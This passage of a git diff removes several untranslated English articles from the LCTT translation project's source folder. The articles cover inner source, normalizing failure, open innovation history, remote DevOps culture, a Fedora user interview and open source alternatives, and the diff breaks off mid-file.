develop the practice and governance of our inner source projects. You can listen to Comcast Open Source Program Manager and InnerSource leader Brittany Istenes [talk][6] to hear more about what we did with the guild and scaling inner source back from the InnerSource Commons Fall 2020 Summit. - -While some people criticize the inner source movement and say that it has distracted from the open source movement, it has actually accelerated open source collaborative practices inside organizations. While most companies use open source, few were deeply engaged in communities or understood how open collaboration works. The fact that the collaborative development model can be used inside a company to do product or organizational work has led to a deeper understanding and better development practices at Comcast. I see a natural growth from this to more contributions and more engagement with open source communities as teams feel more confident in engaging through their inner source work. - -No matter what you call it—inner source, enterprise source, collaborative development—more collaboration inside the company is a particularly good thing. Better development practices, documentation, onboarding, and mentoring are often direct results. If you are interested in more information, check out [innersourcecommons.org][7] for great talks from several companies practicing inner source, including Comcast. I believe that inner source is the next phase of open source development. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/inner-source - -作者:[Nithya Ruff][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/nithyaruff -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/whiteboard-brainstorming-brainmapping-design-thinking-postits-kanban.png?itok=Is2Tg1Jk (Brainstorming with post-it notes on a whiteboard) -[2]: https://www.youtube.com/watch?v=2HR0D8_tKoA&t=573s -[3]: https://www.youtube.com/watch?v=r4QU1WJn9f8 -[4]: https://innersourcecommons.org/ -[5]: https://www.oreilly.com/library/view/adopting-innersource/9781492041863/ch01.html -[6]: https://www.youtube.com/watch?v=RenQ8B7aX84 -[7]: http://innersourcecommons.org diff --git a/sources/talk/20201128 Why failure should be normalized and how to do it.md b/sources/talk/20201128 Why failure should be normalized and how to do it.md deleted file mode 100644 index 5ec94852ce..0000000000 --- a/sources/talk/20201128 Why failure should be normalized and how to do it.md +++ /dev/null @@ -1,90 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why failure should be normalized and how to do it) -[#]: via: (https://opensource.com/article/20/11/normalize-failure) -[#]: author: (Lisa Seelye https://opensource.com/users/lisa) - -Why failure should be normalized and how to do it -====== -"Everybody is perfect, except you." This toxic thought can creep in and -ruin your confidence. Here's how to normalize failure during the -learning process and remember that everyone makes mistakes. -![failure sign at a party, celebrating failure][1] - -All of your heroes have failures under their belts—from minor mistakes to major disasters. Nobody knows how to do everything automatically, and the process of learning is usually a messy one. So why is the perception that everyone but you knows what they’re doing so common? Why do we externalize our successes but internalize our failures? - -How does it make you feel when you struggle to learn something new, then see another person take their Jira card away and return at the end of the sprint with something fully fleshed out and working, gushing about it at the demo? Sure, you closed your card too, but it was really hard! There was a new algorithm, a new programming language, a new system all to be learned. How did she make it look so effortless? - -The truth is, she might have struggled with the same issues you did and wondered how you made it look so effortless! - -### Failure is normal, healthy, and invisible - -Whether we call them mistakes, bad assumptions, or some other euphemism, it's hard not to judge ourselves or expect better of ourselves, especially compared to other people. - -My background is largely in Linux systems administration, and in this line of work, it is often a matter of "when" and not "if" we will have a production service disruption. Those service disruptions can happen for various reasons—sometimes it's because a person made a mistake. Setting aside the discussion around controls to mitigate human error, we can see plain as day that I, Lisa Seelye, made a mistake that directly caused a production problem. - -Whenever a group of sysadmins gets together, we usually end up talking about our work, and inevitably, we get around to stories of production service disruptions that we’ve been a part of (or caused). It’s cathartic to hear how badly other people have messed up and then look around and see that we are all human and making mistakes is part of that. - -I feel that this kind of sharing is vital to the success of people in the information technology sector. - -### Why should we share? - -In addition to sharing our mistakes in order to normalize them, I also believe that it is equally important to share our learning processes—this is both to drive home the idea that we all start somewhere and that learning is often filled with failures and misconceptions. - -As an individual, I need to remind myself that it may only appear that my peers return from a week working on a card with a fully fleshed-out solution. Reality may, in fact, be that they don’t understand the requirements, the codebase, the language, the algorithms needed, etc. Either way, it’s a logical fallacy to believe they do not face these challenges because of the appearance of the final product. - -### But why should we share? - -We should share our learning experiences because we all benefit from hearing about the challenges other people face and how they overcome them. If the Jira card wasn’t clear, then we can do better. If the algorithm wasn’t clear, then maybe education can be done around it. - -Most importantly, we need to normalize that it’s okay not to know everything, that it’s okay to still be learning, and to ask for help. Setting an example for new or more junior engineers is important. In our industry, we deal with extremely complex systems that can interact with one another in strange or unexpected ways. In many cases, it is simply not possible for one person to know everything. Being open about our learning processes and our mistakes can lead to tighter bonding. - -Do new engineers on your team have the set expectation that it’s okay to interrupt and ask questions? Saying it on day one is easy, but practicing the value is another thing. How are approachability and openness demonstrated in your team? - -### My learning opportunities - -It could be very easy to title this section "my mistakes" and then rattle off all the times I’ve made mistakes, but that doesn’t quite illustrate the point. I recognize these mistakes, but they’re also events that expanded the understanding of my craft. While I didn’t set out to intentionally do any of these things, I certainly learned from them. - -I have accidentally dropped (deleted) a customer’s database. It was lucky for everyone that it was a beta-phase database and no further harm was done. I learned a valuable lesson that day: be very watchful of what code is doing, and be careful about what environment you are working in. - -One day, while performing routine maintenance with an odd DNS setup, I accidentally broke the ability for customers to provide credit card information to the secure site. We had two "payments" DNS records that served to override a wildcard DNS record, and I assumed that the second "payments" record was still present. It wasn’t. And then the wildcard record took over, and the DNS started behaving like "payments" wasn’t special at all anymore. Of course, I had no idea this was happening at all—it wasn’t until my maintenance was over that I learned of the folly. - -Customers weren’t able to provide payment information for almost two hours! I learned my lesson, though: when there is something special about a particular configuration, be sure to make sure it stays special throughout its lifetime. When DNS gets involved, all kinds of things can break. - -Before I started speaking at conferences, I was an attendee, and I watched talks online. Pivoting to speaking myself, I was worried that I’d say too many "umms" and "uhs" and that my jokes would fall flat. The speakers I enjoyed over the years seemed to not have those problems at all, while I was unpolished. - -But once I got up on stage, I found that my perception had changed. I had practiced my talk with an audience and listened to their feedback—turns out I had a little polish. In front of the audience, I did misspeak and not say something exactly how I wanted, but it didn’t matter. What I didn’t realize from my vantage point in the audience is that the audience wants the speaker to succeed, and the speaker can shift directions in their talk without the audience knowing. - -I certainly have made and continue to make those sounds, and I have even had to correct major factual information the night before a talk, but the audience never knows. The audience sees what I show them and, because they want me to succeed, they forgive my "umms" and "uhs." - -I admit that I am not perfect. I ship bugs, and I try to learn from them. - -### How to share - -Sharing the difficulties we’ve encountered along the learning process or in our day to day career is important, though just as important is how they are shared. I share the things I’ve learned (the hard way) with frankness and no self-judgment. It is in this spirit that I think we should all share. I’m not a bad person because I’ve made mistakes, and neither are you. - -How, then, should we share? Who is the audience? - -In the midst of a production service disruption, like with the DNS payment situation above, there’s no room for coyness or hiding anything. The most important thing is to make key stakeholders aware and then rally to fix the situation. The audience is first internal—your team, business leaders, the support team. Next, the audience is outward-facing—the customers. It is wise to involve communications experts when crafting that outward message. - -When sharing with a junior engineer, we need to normalize the learning process. People aren’t born knowing how pointers in C work, so we all need to learn what the pitfalls of pointers are. It’s okay to need to learn new skills at any skill level, and it’s also okay to need to reinforce those skills. The message we send should be free of judgment. - -So write a blog post, make a Twitter thread, share frustrations in Slack channels, ask for help. Together we can dismiss the myth that everybody's perfect, except you. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/normalize-failure - -作者:[Lisa Seelye][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/lisa -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/fail_failure_celebrate.png?itok=LbvDAEZF (failure sign at a party, celebrating failure) diff --git a/sources/talk/20201206 Openness is the key to innovation, history shows.md b/sources/talk/20201206 Openness is the key to innovation, history shows.md deleted file mode 100644 index 9bb9775817..0000000000 --- a/sources/talk/20201206 Openness is the key to innovation, history shows.md +++ /dev/null @@ -1,106 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Openness is the key to innovation, history shows) -[#]: via: (https://opensource.com/open-organization/20/12/open-innovation-history) -[#]: author: (Ron McFarland https://opensource.com/users/ron-mcfarland) - -Openness is the key to innovation, history shows -====== -History demonstrates the kinds of organizational structures that foster -innovation: open, communal, and humble. Here are just two examples. -![Team checklist][1] - -In the [first part of this article series][2]—an extended review of the book [How Innovation Works][3] by [Matt Ridley][4]—I examined Ridley's characterization of innovation: it's gradual, incremental, and collective, and involves extensive collaboration between parties. This, I argued, is why [open organization principles][5] are so important and play a major role in fostering innovation. - -In [part two of the series][6], I reviewed Ridley's assessment of the environments where innovation and discovery thrive, and I demonstrated some essential characteristics of the innovation process. - -Now, in this concluding part of my review, I bring these ideas alive by recounting case studies of innovative discoveries throughout history. - -### Innovation throughout history - -In _How Innovation Works_, Ridley mentions that innovation is mostly a "bottom-up phenomenon." For example, throughout the 19th century, as Britain and Europe developed new railways, the steel industry, new applications for electricity, the textile industry, and many other breakthroughs, governments weren't involved. Only after the fact did governments play the role of regulator and standards creator. Sometimes, governments even played the role of the customer or user. - -The same was true in America in the early 20th century. There were few public subsidies for research and development before 1940. And after World War II, the Japanese miracle was a function of private corporations backed by a vast ecosystem of small enterprises. Most efforts resembled open organizations—a modest group of dedicated hands-on, ground floor members. That's where most innovation originated, on the ground floor according to open organization principles. - -By contrast, the Soviet Union was a very clear case of a public governmental entrepreneurial state; it funded a great deal of research centrally, and allowed virtually no involvement from private enterprise. Innovation in transportation, food production, health care, and consumer products suffered as a result. (In this environment open organization principles were not in use.) - -Innovations come from humble places, Ridley's argues, and large, bureaucratic corporations were not particularly good at developing innovative products. Instead, small, loosely assembled communities (open organizations with front line teams) have been more innovative throughout history. They have been far more capable of exploring new concepts, particularly if they have a wide base of contributions to work with. - -Let me review two historical examples of this, drawn from Ridley's work (one brief, one lengthier). - -### Lighting every house (the light bulb) - -Who invented the light bulb? Easy answer: Thomas Edison. - -But at least a dozen other people were working on similar technologies around the same time, even before Edison, as Ridley documents in detail in _How Innovation Works_. Edison, however, [gets recognition for the invention][2]. - -Through some 50,000 trial-and-error experiments, a full complement of staff developed a usable, affordable light bulb for interior and room lighting (Edison's team tested roughly 6,000 plant materials until it found the right kind of bamboo for the bulb's filament). The invention made both oil lamps and gas lamps things of the past. Perhaps better than anyone else at the time, Edison knew that innovation was largely a team effort. He hired groups of skilled craftsmen and scientists (totalling 200 people in all) and worked them incredibly hard. Their collaboration, iterative and adaptive testing, and sharing eventually led to the registration of more than 400 patents in six years. Edison supported his innovative teams extensively, stuffing his workshops with every kind of material, tool, and book. His goal was not simply to inspire invention; it was to turn ideas into practical, reliable, and affordable items—the result of extensive application of open organization principles. - -### Two approaches to flight (the powered aircraft) - -Now let me offer a more detailed example, one focused on the innovation of powered aircraft. To better illustrate the advantage of an open organizational approach, I'll juxtapose two approaches to this innovation. - -#### Samuel Langley's approach - -In 1903, the East Coast of the United States saw the first airplane flight by Samuel Langley. It impressed the US government, which expressed a desire to invest in the development of powered flight (powered flight, of course, would allow people to travel longer distances). - -Innovations come from humble places. - -Initially, the American government supported Langley's experiments with an investment of $50,000. Later, it offered another US$20,000. Langley had convinced the government he could build a powered plane that would stay in the air longer than a simple glider (Langley was a professor from New England, an astronomer, and a well-connected head of the Smithsonian Institute in Washington, DC, so his reputation would have seemed to support his claims). - -Because of his confidence, he decided to _keep all his research and experiments confidential_. He could not have been more closed in his approach to research and experimentation. - -This went on for seven years, until a test plane was finally ready for presentation to the government. Langley was not a hands-on experimenter and was not willing to pilot his prototype plane himself (he commissioned Charles Manly). The plane crashed after flying just a short distance, to everyone's disappointment. Langley's reputation never recovered. The fiasco led to the US government pulling all funding for the project, and it gave up on powered flight after a decade of wasting money. - -From the perspective of someone thinking with open organization principles, Langley would seem to have done everything wrong. He spent lots of money, depended on a single authority (the government), consulted with very few outside people, and built the full aircraft from scratch instead of building and testing components in an incremental way, by experimenting with different designs, shapes, sizes, and weights. He built _no community_ to work on the project. He _included_ only the minimum necessary outsiders. He was _not transparent_ of his activities or concerns. He did not establish step-by-step milestones in which he could make _adaptations_ if need be. And, he _collaborated_ with as few people as possible. - -#### The Wright brothers' approach - -But just south of Langley's failure, in an area called [Kitty Hawk][7], with almost nobody watching, two brothers from Ohio were busy achieving innovation in powered flight, and by spending only a fraction of what Langley did. They were Orville and Wilbur Wright. - -The Wright brothers' initial test flight lasted 12 seconds and traveled 40 yards (37 meters). Their second flight (later that day) lasted almost one minute and covered more than 800 feet (244 meters). Just five people were present to observe these successful powered flights. - -Thinking again with open organization principles, we might say the Wright brothers did everything right. - -Innovation happens when someone creates a community while working on a problem. Through concurrent community collaboration, that group might make discoveries that lead to an innovation. - -These two brothers were not well-known researchers (or even engineers for that matter). They simply were experienced bicycle builders and had a small shop. They were diligent craftsmen and loved building things. They simply wanted to address the challenges and problems of powered flight through building an aircraft. Fueled by those passions, they started building a development team (_community_ building), which included others in the project to bring in valued experience. They _included_ key outside people. They were very _transparent_ regarding their activities and concerns (more on this in a moment). They established step-by-step milestones in which they could make _adaptations_ if need be. - -Moreover, they _collaborated_ with as many people as they needed to, gathering expertise where they could find it. First they wrote to Otto Lillienthal in Frankfurt, Germany**,** a famous designer of gliders. They also approached a rather eccentric French-American in Chicago by the name of Octave Chanute, who studied the powered flight problems to overcome and published papers on them. These are examples of inclusivity at its best—approaching people far different than them to achieve something. Thorough documentation of the Wright brother's collaboration with Chanute (and his extensive network of like-minded thinkers) helped solidify their basic design for a powered aircraft. And just by luck, someone the Wright brothers hired to work in the bicycle shop was an extremely good mechanic and loved designing machines. His name was Charlie Taylor. The internal combustion engine was just being developed at that time, and the Wright brothers knew that the motors on the market were too heavy for an aircraft, so Charlie built one from scratch, using aluminium (a much lighter material). - -This more open approach to innovating in the field of powered aircraft is the one that eventually gave rise to the inventions (and industry) we enjoy today and brought the Wright brothers fame. - -### History lessons - -Think about both those examples, two case studies of innovation through open organization principles. Both indicate that, for _any_ innovation, quite a few people are required (not lone individuals). In both cases, inventors needed to "cross-pollinate" ideas in two ways: - - 1. concurrently, working together directly, and - 2. learning sequentially over time. - - - -Our lessons from history illustrate these approaches to innovation. Innovation happens when someone creates a _community_ while working on a problem. Through concurrent community collaboration, that group might make discoveries that lead to an innovation. Sometimes, however, those communities fail. But because they _document_ their work as they collaborate, another person (and community) can replicate what they've done and improve upon it (sequential innovation)—perhaps succeeding where the first group did not. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/12/open-innovation-history - -作者:[Ron McFarland][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ron-mcfarland -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/checklist_todo_clock_time_team.png?itok=1z528Q0y (Team checklist) -[2]: https://opensource.com/open-organization/20/10/best-ideas-recognition-innovation -[3]: https://www.goodreads.com/en/book/show/45449488-how-innovation-works -[4]: https://en.wikipedia.org/wiki/Matt_Ridley -[5]: https://theopenorganization.org/definition/ -[6]: https://opensource.com/open-organization/20/11/environments-for-innovation -[7]: https://www.google.com/search?rlz=1CAKMJF_enJP874&sxsrf=ALeKk02B7m1kL1nXrRT2cH4-zyr8VV_DDw:1597632027500&ei=u-05X5byJ8Ko-QaRt6HoDQ&q=kitty%20hawk%20museum&oq=kitty+hawk+mus&gs_lcp=CgZwc3ktYWIQARgAMgIIADICCAAyAggAMgIIADICCAAyAggAMgIIADoECAAQRzoHCC4QJxCTAjoHCAAQFBCHAjoICC4QxwEQrwE6BAgAEENQ04sBWIqeAWCvtAFoAXABeACAAY4BiAHEBZIBAzEuNZgBAKABAaoBB2d3cy13aXrAAQE&sclient=psy-ab&npsic=0&rflfq=1&rlha=0&rllag=36111118,-75775286,9090&tbm=lcl&rldimm=17550871878646241173&lqi=ChFraXR0eSBoYXdrIG11c2V1bVobCgZtdXNldW0iEWtpdHR5IGhhd2sgbXVzZXVt&phdesc=B2b85nIlVwQ&ved=2ahUKEwjz-uuLm6HrAhVLFogKHXjGD7YQvS4wAHoECAoQLQ&rldoc=1&tbs=lrf:!1m4!1u3!2m2!3m1!1e1!1m4!1u2!2m2!2m1!1e1!1m4!1u16!2m2!16m1!1e1!1m4!1u16!2m2!16m1!1e2!1m5!1u15!2m2!15m1!1shas_1wheelchair_1accessible_1entrance!4e2!2m1!1e2!2m1!1e16!2m1!1e3!3sIAE,lf:1,lf_ui:1&rlst=f#rlfi=hd:;si:17259280498191889741,l,ChFraXR0eSBoYXdrIG11c2V1bVobCgZtdXNldW0iEWtpdHR5IGhhd2sgbXVzZXVt,y,tBWxg7TmYyk;mv:%5B%5B41.993476711913615,-73.13628440817928%5D,%5B33.753275807154516,-89.35208728632068%5D,null,%5B37.98892655631248,-81.24418584724998%5D,6%5D diff --git a/sources/talk/20201211 Create a DevOps culture with open source principles.md b/sources/talk/20201211 Create a DevOps culture with open source principles.md deleted file mode 100644 index 789216f8dc..0000000000 --- a/sources/talk/20201211 Create a DevOps culture with open source principles.md +++ /dev/null @@ -1,85 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Create a DevOps culture with open source principles) -[#]: via: (https://opensource.com/article/20/12/remote-devops) -[#]: author: (Will Kelly https://opensource.com/users/willkelly) - -Create a DevOps culture with open source principles -====== -Now that more workforces are remote, DevOps teams can maximize their -collaboration and productivity by following open source principles. -![Kanban-style organization action][1] - -As this article goes online, DevOps teams are rounding the bend of eight months of remote work. Some teams were remote by design. Other teams had remote work forced on them. Now is an excellent time to take a refresher on what it means to be a high performing DevOps team that just works remotely. - -Remember that people come before tools for a remote DevOps team. Here’s how you keep your people operating and feeling refreshed during these times. - -### Fully remote vs. hybrid DevOps teams - -We can split remote work into fully remote and hybrid working models. A fully remote working model means a DevOps team is geographically dispersed. The members have no desk lying empty back at the office with their name on it. However, COVID-19 restrictions have made every team a fully remote team, at least for the time being. A fully remote team’s benefits include increased agility and playing time zones to the advantage of your delivery cycle. The challenges of a new remote DevOps team run the gamut right now, depending on the level of support their organization had for remote workers pre-COVID. - -In contrast, a hybrid DevOps team still maintains a presence in a corporate office. Core team members may have permanent seats inside a corporate office. Other team members may work from home or a satellite office full-time or part-time. COVID-19 restrictions add a new factor to hybrid teams because some companies may stagger returns to offices. A hybrid DevOps team’s benefits include having the best of both worlds. Team leadership can still maintain a face in the office. Their developers get the option to work where they’re the most productive. - -The challenges of a hybrid DevOps team can range from communications to system access issues. There’s also the stress for the team members who draw the short straw to go back into the office first. - -### Collaboration refresher - -Collaboration is a well-regarded DevOps principle. Yet COVID-19 has put an additional strain on team collaboration. The best remote teams are always learning about collaboration and then pivoting and adjusting to make that collaboration better. - -First-time remote workers sometimes present new silos and dilemmas for remote work. There’s a lot of discipline that comes with being a successful remote worker. You may have to coach your first-timers, at least in the beginning, on how to handle work from home distractions and how to best budget their time. - -Standardize your workflows when it comes to document creation and review, source code collaboration, and other related tasks. Teams bring the workflows of the places they’ve worked at before. Besides that, team members are under stress right now. Do them a favor and document procedures with an eye toward eliminating complexity and ambiguity. - -### Communications refresher - -There’ll always be something to be said for drive-by conversations in an office hallway. There’ll be first-time workers who’ll adjust fine to remote work. Others will get lost in the shuffle. It’s up to DevOps teams to set expectations for communications, especially project reporting. Teams also need to learn the working styles of their managers and members to communicate effectively, - -The best way to refresh your remote team’s communications is to remind your team of communications expectations. - -### Fostering remote DevOps culture using open source principles - -One way to recharge your remote DevOps culture is by implementing open source principles: - -#### Community - -Remote DevOps teams benefit from a sense of community just as any open source project does. There’s a lot of stress going on right now inside people’s homes. DevOps teams, by their high velocity, can feel their members’ pain acutely. As such, community is of the utmost importance to a DevOps team right now. Having a common purpose with the rest of their team and their employer can be a powerful distraction for some personality types who need to keep busy during times like these. Shared values can foster team cohesion. Being part of team goals can help people escape the stress of the home front. - -#### Collaboration - -Collaboration is both a DevOps and an open source principle. Working as a remote DevOps team during the current crisis taxes even the most experienced teams. Now is as good of a time as any to tap into the open source ethos to regain your collaboration mojo. Collaboration—during a pandemic or not—is about culture, not the latest tool or platform. - -#### Transparency - -Remote work in times of stress can strain communications, and it’s easy to miss information and forget about materials necessary for project success. Remote DevOps teams benefit from centralizing access to project information and materials so the team can do their best work. A central repository of materials offers transparency. Best of all, it’s open 24/7 and doesn’t have time zone limitations. Making information always accessible makes it easier for remote DevOps team members to build upon each other’s ideas and discoveries. - -Transparency for remote DevOps teams is a powerful way to make more effective decisions and understand how decisions affect us all. Inspiration strikes everybody at different times. For example, think of the team member who can’t sleep one night and thus able to make a technical discovery that solves a problem for their customer or their team. - -#### Inclusive meritocracy - -Remote DevOps teams in crisis times should run as an inclusive meritocracy if they didn’t already run that way pre-COVID. Hopefully, some bureaucratic shackles are loosening now that most teams have been remote for eight months or more. We work best during a crisis when we intake all the good ideas, regardless of who it comes from. Successful work is a big calling card for your team as your stakeholders and customers are dealing with stress on the work and home fronts too. - -#### Release early and often - -Being out of the office provides a unique opportunity for some corporate cultures to get away from meetings for the sake of meetings and talking about work more than doing the actual work. When a remote DevOps team releases early and often, they prove the remote work model's validity and give stakeholders something real to see, rather than wireframes, presentation slides, and spreadsheets. - -### Pivot and refresh - -Successful remote teams know the need to be agile with more than just software delivery. It’s about the pivot and the refresh about how your team collaborates and communicates. Just as you stop to correct software delivery issues, you need to start doing the same with communications and collaboration. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/12/remote-devops - -作者:[Will Kelly][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/willkelly -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/kanban_trello_organize_teams_520.png?itok=ObNjCpxt (Kanban-style organization action) diff --git a/sources/talk/20201214 Ben Cotton- How Do You Fedora.md b/sources/talk/20201214 Ben Cotton- How Do You Fedora.md deleted file mode 100644 index 20cdad4714..0000000000 --- a/sources/talk/20201214 Ben Cotton- How Do You Fedora.md +++ /dev/null @@ -1,103 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Ben Cotton: How Do You Fedora?) -[#]: via: (https://fedoramagazine.org/ben-cotton-how-do-you-fedora/) -[#]: author: (gchang https://fedoramagazine.org/author/gchang/) - -Ben Cotton: How Do You Fedora? -====== - -![][1] - -We recently interviewed Ben Cotton on how he uses Fedora. This is part of a [series][2] on the Fedora Magazine. The series profiles Fedora users and how they use Fedora to get things done. Contact us on the [feedback form][3] to express your interest in becoming an interviewee. - -### **Who is Ben Cotton?** - -If you follow the Fedora’ Community Blog, there’s a good chance you already know who Ben is.  - -Ben’s Linux journey started around late 2002. Frustrated with some issues on using Windows XP, and starting a new application administrator role at his university where some services were being run on FreeBSD. A friend introduced him to Red Hat Linux, when Ben decided it made sense to get more practice with Unix-like operating systems. He switched to Fedora full-time in 2006, after he landed a job as a Linux system administrator. - -Since then, his career has included system administration, people management, support engineering, development, and marketing. Several years ago, he even earned a Master’s degree in IT Project Management. The variety of experience has helped Ben learn how to work with different groups of people. “A lot of what I’ve learned has come from making mistakes. When you mess up communication, you hopefully do a better job the next time.” - -Besides tech, Ben also has a range of well-rounded interests. “I used to do a lot of short fiction writing, but these days I mostly write my opinions about whatever is on my mind.” As for favorite foods, he claims “All of it. Feed me.” - -Additionally, Ben has taste that spans genres. His childhood hero was a character from the science fiction series “Star Trek: The Next Generation”. “As a young lad, I wanted very much to be Wesley Crusher.” His favorite movies are a parody film and a spy thriller: “‘Airplane!’ and ‘The Hunt for Red October’” respectively.  - -When asked for the five greatest qualities he thinks someone can possess, Ben responded cleverly: “Kindness. Empathy. Curiosity. Resilience. Red hair.” - -![][4] - -Ben wearing the official “#action bcotton” shirt - -### **His Fedora Story** - -As a talented writer who described himself as “not much of a programmer”, he selected the [Fedora Docs][5] team in 2009 as an entry point into the community. What he found was that “the Friends foundation was evident.” At the time, he wasn’t familiar with tools such as Git, DocBook XML, or Publican (docs toolchain at the time). The community of experienced doc writers helped him get on his feet and freely gave their time. To this day, Ben considers many of them to be his friends and feels really lucky to work with them. Notably “jjmcd, stickster, sparks, and jsmith were a big part of the warm welcome I received.” - -Today, as a senior program manager, he describes his job as “Chief Cat Herding Officer”- as his job is largely composed of seeing what different parts of the project are doing and making sure they’re all heading in the same general direction.  - -Despite having a huge responsibility, Ben also helps a lot in his free time with tasks outside of his job duties, like website work, CommBlog and Magazine editing, packaging, etc… none of which are his core job responsibilities. He tries to find ways to contribute that match his skills and interests. Building credibility, paying attention, developing relationships with other contributors, and showing folks that he’s able to help, is much more important to him than what his “official” title is.  - -When thinking towards the future, Ben feels hopeful watching the Change proposals come in. “Sometimes they get rejected, but that’s to be expected when you’re trying to advance the state of the art. Fedora contributors are working hard to push the project forward.“ - -### **The Fedora Community ** - -As a longtime member of the community, Ben has various notions about the Fedora Project that have been developed over the years. For starters, he wants to make it easier to bring new contributors on board. He believes the Join SIG has “done tremendous work in this area”, but new contributors will keep the community vibrant.  - -If Ben had to pick a best moment, he’d choose Flock 2018 in Dresden. “That was my first Fedora event and it was great to meet so many of the people who I’ve only known online for a decade.”  - -As for bad moments, Ben hasn’t had many. Once he accidentally messed up a Bugzilla query resulting in accidental closure of hundreds of bugs and has dealt with some frustrating mailing list threads, but remains positive, affirming that “frustration is okay.” - -To those interested in becoming involved in the Fedora Project, Ben says “Come join us!” There’s something to appeal to almost anyone. “Take the time to develop relationships with the people you meet as you join, because without the Friends foundation, the rest falls apart.” - -![][6] - -![][7] - -### **Pet Peeves** - -One issue he finds challenging is a lack of documentation. “I’ve learned enough over the years that I can sort of bumble through making code changes to things, but a lot of times it’s not clear how the code ties together.” Ben sees how sparse or nonexistent documentation can be frustrating to newcomers who might not have the knowledge that is assumed. - -Another concern Ben has is that the “interesting” parts of technology are changing. “Operating systems aren’t as important to end users as they used to be thanks to the rise of mobile computing and Software-as-a-Service. Will this cause our pool of potential new contributors to decrease?” - -Likewise, Ben believes that it’s not always easy to get people to understand why they should care about open source software. “The reasons are often abstract and people don’t see that they’re directly impacted, especially when the alternatives provide more immediate convenience.” - -### **What Hardware?** - -For work, Ben has a ThinkPad X1 Carbon running Fedora 33 KDE. His personal server/desktop is a machine he put together from parts that runs Fedora 33 KDE. He uses it as a file server, print server, Plex media server, and general-purpose desktop. If he has some spare time to get it started, Ben also has an extra laptop that he wants to start using to test Beta releases and “maybe end up running rawhide on it”. - -### **What Software?** - -Ben has been a KDE user for a decade. A lot of his work is done in a web browser (Firefox for work stuff, Chrome for personal). He does most of his scripting in Python these days, with some inherited scripts in Perl. - -Notable applications that Ben uses include: - - * Cherrytree for note-taking - * Element for IRC - * Inkscape and Kdenlive when he needs to edit videos. - * Vim on the command line and Kate when he wants a GUI - - - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/ben-cotton-how-do-you-fedora/ - -作者:[gchang][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/gchang/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/11/LISA2015-printsize-7810-816x545.jpg -[2]: https://fedoramagazine.org/tag/how-do-you-fedora/ -[3]: https://fedoramagazine.org/submit-an-idea-or-tip/ -[4]: https://fedoramagazine.org/wp-content/uploads/2020/11/image1-2-edited.jpg -[5]: https://docs.fedoraproject.org/ -[6]: https://i1.wp.com/fedoramagazine.org/wp-content/uploads/2020/11/image2-2.jpg?ssl=1&resize=1500%2C1500 -[7]: https://i1.wp.com/fedoramagazine.org/wp-content/uploads/2020/11/image6-1.jpg?ssl=1&resize=1500%2C1500 diff --git a/sources/talk/20201223 9 stories about switching to an open source alternative in 2020.md b/sources/talk/20201223 9 stories about switching to an open source alternative in 2020.md deleted file mode 100644 index 9c8ab1f6f2..0000000000 --- a/sources/talk/20201223 9 stories about switching to an open source alternative in 2020.md +++ /dev/null @@ -1,79 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (9 stories about switching to an open source alternative in 2020) -[#]: via: (https://opensource.com/article/20/12/open-source-alternatives) -[#]: author: (Jason Blais https://opensource.com/users/jasonblais) - -9 stories about switching to an open source alternative in 2020 -====== -Ditch your proprietary software for open source solutions. -![Working from home at a laptop][1] - -In 2020, as every year, new open source projects launched as alternatives to proprietary solutions. Here is a roundup of the top nine articles about open source alternatives that made the headlines in 2020 on Opensource.com. - -### 7 alternatives to VS Code - -Seth Kenlon gives an overview of [_7 open source alternatives to VS Code_][2], a code editor from Microsoft for Linux, Windows, and macOS. While Microsoft publishes VS Code's source code under the MIT License, "the version you download from Microsoft is not open source," Seth warns. If you prefer open source alternatives, make sure to check out Seth's article for his recommended alternatives, including VSCodium and Atom. - -### Nextcloud instead of Google Suite - -In [_Build your own open source alternative to 